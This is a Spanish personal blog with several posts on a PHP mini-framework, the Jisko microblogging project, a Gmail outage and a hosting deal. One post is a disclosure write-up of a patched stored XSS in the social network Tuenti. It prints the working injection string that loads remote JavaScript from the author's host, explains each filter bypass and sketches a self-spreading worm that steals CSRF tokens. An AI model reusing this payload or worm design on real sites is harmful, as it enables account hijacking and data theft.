En un intento por desconectar de la rutina me aburría y me dispuse a crear mi propio mini-framework de PHP. El resultado fue satisfactorio, y utiliza una estructura similar a la de Jisko aunque ampliamente mejorada, ya que en el momento que empecé a codear aquella base, me faltaba bastante experiencia (y sigue faltando demasiada, pero algo he avanzado).

El framework se divide por distintos módulos y tiene “soporte fácil” para URLs limpias, un enrutador sencillo, soporte para estadísticas… lo que viene siendo el soporte básico para empezar cualquier página a pequeña escala. Ayer mismo me puse a probarlo y ciertamente ahorro un tiempo considerable no teniendo que volver a codear lo mismo una y otra vez, además de que, por otra parte, puedo actualizar la base en cualquier proyecto al momento ya que es flexible.

Pero volviendo al tema, uno de los usos que le he dado ha sido para TuentID, que no viene a ser más que un acortador de URLs maquillado para utilizar en la red social española Tuenti para facilitar los perfiles de forma corta (así, por ejemplo). En efecto, es lo que estás pensando: una estupidez. El dominio me ha salido gratis gracias a puntos acumulados en una compañía de dominios y la funcionalidad no deja de ser la de TinyURL mismo con algo de maquillaje, pero bueno, es más un experimento para ver la reacción de usuarios y de Tuenti.

Y ahí lo dejo.

Ayer mantuve una breve charla telefónica con Bárbara Yuste, periodista de ABC, que se interesó por la historia de Jisko y sobre la situación actual que estaba pasando. Hoy ha salido un pequeño artículo publicado en la web del periódico (desconozco si en papel existe o no). En él se hace una reseña sobre lo que se ha vivido estos días y cómo se ha podido salir del paso. La explicación oficial está aquí.

El tema de pedir donaciones es algo bastante peliagudo, sobre todo por la polémica que suscita, y ya salí bastante escaldado cuando lo del Macbook. En cierto modo, las personas que lo criticaban tenían razón (matizando, claro está) y no tenía intención de volver a hacerlo. Pero como bien se relata en el correo, la presión de la comunidad empujó la iniciativa y ha salido bastante bien.

Existen dos tipos de comunidad en el proyecto:

• Interna: Las personas que están en jisko.net, unas 2000. Algo bastante reducido ya que, a fin de cuentas, el portal es un lugar donde se muestra el funcionamiento del software, un expositor. Sin embargo, a pesar de ser pocos y bastante dispersos, a la hora de colaborar en, por ejemplo, quedadas, nos juntamos todos y cada uno contribuye. Estamos bastante unidos y la lucha para que el portal no muriera se ha realizado en mayor parte aquí.
• Externa: Todos aquellos que probaron el software, les gustó y lo instalaron en sus servidores, realizaron modificaciones, colaboraron con las traducciones, desarrollaron aplicaciones… pero que no están (en activo) en el portal. Es la parte no tan visible del proyecto, pero muy cuantitativa. El refuerzo que proviene desde aquí (sobre todo, de fuera de España) ha sido impresionante. Y sólo por no dejarles tirados, se seguirá ofreciendo soporte y se intentará el desarrollo constante.

Cuando empezamos con Jisko, desconocíamos si existían o no distintas alternativas de microblogging open-source, simplemente nos pusimos manos a la obra. Pronto descubrimos que no éramos los únicos en esta tarea. Los últimos que llegaron, canadienses, con dinero, empresa e ideas bastante claras, consiguieron imponerse sobre todos. Nosotros, amparados económicamente por un servidor y con un equipo bastante más reducido, nos quedamos muy marginados y poco ha cambiado desde entonces. A pesar de llevar más tiempo que ellos, esto demuestra que no te puedes dormir.

En realidad, nunca quisimos competir con nadie (o no demasiado), simplemente ser un microblogging libre y por mi parte, personalmente, tener mi primer proyecto serio. Pero también hay que saber perder, y reconozco que hemos perdido muchísimo terreno; ahora mismo, a su lado y con la situación actual, poco o nada podemos hacer para ponernos a la altura (sin necesidad de competir, literalmente). Únicamente el apoyo de la comunidad, sobre todo la externa referente al desarrollo, hace que sigamos codeando. Porque hay bastantes personas que prefieren Jisko a otros, y esa es la fuerza necesaria para continuar.

Y ahora, ¿qué rumbo deberíamos de tomar? Desde luego, no es sencillo. Yo quiero empezar a escribir con más frecuencia aquí, siempre me gustaron los blogs y así lo demostré en el pasado. Pero también ver si es posible conseguir apoyo en algún lugar para sacar alguna idea adjunta a la actual para animar el asunto. Tampoco existe urgencia por hacer esto, pero tampoco hay tiempo para hacer demasiada pausa.

Viendo más allá de todo esto, he(¿mos?) aprendido un montón con esto y creo que la experiencia se gana con los errores. No siento que se haya perdido el tiempo en ningún momento, si no que se ha invertido. Estoy orgulloso de haber participado y seguir haciéndolo en esto, esperando que dure, como poco, otro año más :-)

Esto es una explicación sobre la anterior entrada.

El equipo de Tuenti ha puesto fin a la vulnerabilidad de la que hablé pasados cinco días de su advertencia. Ahora, os voy a contar la historia de cómo surgió todo y de como un trabajo de investigación conjunto y en tiempo libre puede dar muchos frutos. Algunas aclaraciones sonarán evidentes (e incluso estúpidas) para cualquier iniciado en el campo, pero mi intención es que lo entienda el mayor número de personas posible (ya que el perfil del visitante de este blog no es necesariamente techie).

El pasado día 30 de abril descubrimos una vulnerabilidad en la que, juntando una URL (terminada en /) con código HTML, falla la validación del mismo (XSS). Un ejemplo con un simple <h1> en un comentario de tablón:

Sin hacer la citada combinación, todo era convertido a HTML Entities (gracias a htmlentities()). Esto se traduce en resumidas cuentas al impedimento de que si alguien escribe código HTML, el navegador lo interprete como tal. El proceso de un comentario, entrada en el tablón, mensaje… es muy sencillo:

1. El usuario escribe y envía.
2. El servidor recibe y guarda, haciendo ciertos cambios [1].
3. Cuando alguien lo necesita, se le envía lo guardado, parseado [2] por el script local previamente.

¿Qué es lo que falla en el proceso? El parseado. En un principio,  estuvimos investigando pero no sacamos nada… hasta la madrugada. Al día siguiente ya teníamos la formula mágica para incluir un script externo. Ejecutamos multitud de pruebas en diferentes cuentas, para evitar posibles sospechas.

Algo parecido ocurrió con el chaval de 17 años y Twitter, aunque él lo tuvo más fácil: el XSS se aplicaba casi directamente en el campo de URL del perfil, con poco enredo (aunque lo de después fue un poquito más enrevesado).

Había que jugar con dos parsers: el de las URLs y el de las imágenes. Era necesario combinarlos de tal manera que se pudiera conseguir la fórmula mágica e incluir el JS remoto. No fue fácil, puesto que de ninguna manera se podían colocar las comillas (” “), ni referenciar a archivos remotos de forma sencilla. La fórmula fue, finalmente:

http://diazr.com/</script><script src=http    ://diazr.com/xss.js defer=owned.jpg http://diazr.com/</script>

1. La URL podía ser cualquiera, con el único requisito de que terminara en /.
2. Era necesario colocar un </script> previamente antes de iniciar otro.
3. Como se puede observar, el uso de comillas en el parámetro src y defer se descarta (aunque no es obligatorio en absoluto, su uso hubiera derivado en fallo).
4. Ha sido necesario colocar una tabulación intercalada entre el protocolo y el resto de la URL; de lo contrario, el parseador lo hubiera tomado como una URL y nos hubiera fastidiado de nuevo nuestra meta. De esta manera, lo evitamos y nos lo saltamos a la torera.
5. El parámetro defer no hace realmente nada, únicamente era necesario para engañar al parseador de imágenes y permitirnos cerrar la etiqueta script.

Esto, escrito en el tablón de un usuario (como un comentario, por ejemplo) nos permitía cargar el javascript externo que quisiéramos. El riesgo empezaba a ser evidente. En el más leve de los casos, un alert(). O peor: un archivo especialmente construido para hacerse con todos los datos de nuestro “amigo”, como el csrfChallenge (código único para cada usuario de la red necesario para realizar cualquier acción) fácilmente relacionable con el usuario propietario (global_uid) y otros valores seteados en el propio código JavaScript de Tuenti.

Hemos escrito el PoC de turno, que simplemente cambia el estado del usuario que carga el script por el que nosotros queramos. Habíamos pensado en algo más complejo pero dejaría de ser un PoC. Igualmente, teniendo en cuenta que tenemos acceso al array con la lista de amigos (con sus correspondientes UIDs), se podría crear un gusano que infectara a toda la lista de contactos fácilmente, realizando otras tareas más peligrosas (borrado de cuentas, cambio de datos en perfil… además de infectar a los contactos de los contactos, y así sucesivamente). Pero eso ya es imaginación de quien quiera hacerlo. Se puede descargar desde aquí.

[1] Se sabe que no se guarda el texto íntegro ya que, ahora que se ha puesto una solución, las inyecciones realizadas anteriormente siguen siendo efectivas.
[2] El parseado es un proceso mediante el cuál un script “traduce” una combinación concreta de caracteres a algo ya preestablecido. Por ejemplo, cuando colocamos la URL de un vídeo hacia YouTube, aparece directamente el vídeo en cuestión y no el link.

La reacción en Twitter es increíble, y sólo buscando por “is down” (está caído). Se ha convertido en uno de los trending topics. Parece que últimamente a Google no se le dan muy bien las cosas. Hace poco ocurrieron dos sucesos más (ya que el tercero quizá no es achacable directamente, pero estuvo ahí):

• El famoso Google FAIL cuando marcó todos los sitios web, sin excepción, como potencialmente peligrosos.
• Hace un par de semanas el buscador iba tremendamente lento, teniendo que esperar 8-10 segundos por cada consulta… como mínimo.
• YouTube tuvo problemas con algunos proveedores, aunque probablemente culpa “nuestra” (esta Telefónica…).

Parece que no está pasando por muy buena época, y en el momento de escribir esta entrada, Gmail/GApps sigue sin funcionar excepto por IMAP/POP3 (hace un momento, ni eso). ¿Cómo afectarán estas caídas a una compañía tan globalizada? ¿Cuál será la explicación que van a dar? En el blog aún no dicen nada. Pues esta.

Actualización: Ya está, el mundo vuelve a girar.

Imagen de ivanlanin

… están de suerte. Hoy, en uno de mis intentos para resolver mi kilómetrico aburrimiento, había pensado en darme una vuelta por mi anterior proveedor de shared hosting (alojamiento compartido). Y lo cierto es que me he topado con algo que me ha gustado mucho.

Cuando yo estaba en SurpassHosting, por el precio que pagaba, tenía 100 GB de espacio y unos 2 TB de transferencia. El servicio era impecable: buena estabilidad, buena latencia, soporte aceptable… y un precio bastante ajustado. Me fui a DreamHost que, aunque la latencia es algo mayor, el soporte es envidiable y alojo bastante más cosas. Pero eso se paga, claro.

¿Qué ofrecen nuestros amigos de SPH? Para promocionar San Valentín – esa fiesta en la que casi siempre me falta esa persona a la que regalarle algo -, los días 14, 15 y 16 de febrero nos dan un año de hosting por $1 gracias a la promoción OneLove3. Nos dan el plan Power y, según ellos, bajo las mismas condiciones (salvando pequeñas diferencias) que si lo pagaras bajo su precio normal (mismo soporte, mismos ToS). Además, nos regalan una pegatina, la cual seguro que le encontraremos una utilidad.

Yo, desde luego, me lo voy a coger para ver qué tal y si sigue funcionando igual de bien que cuando los dejé. Y si no, siempre podéis usar el código de promoción KJKSZPJ en DreamHost, si pagáis anualmente, para obtener un descuento molón.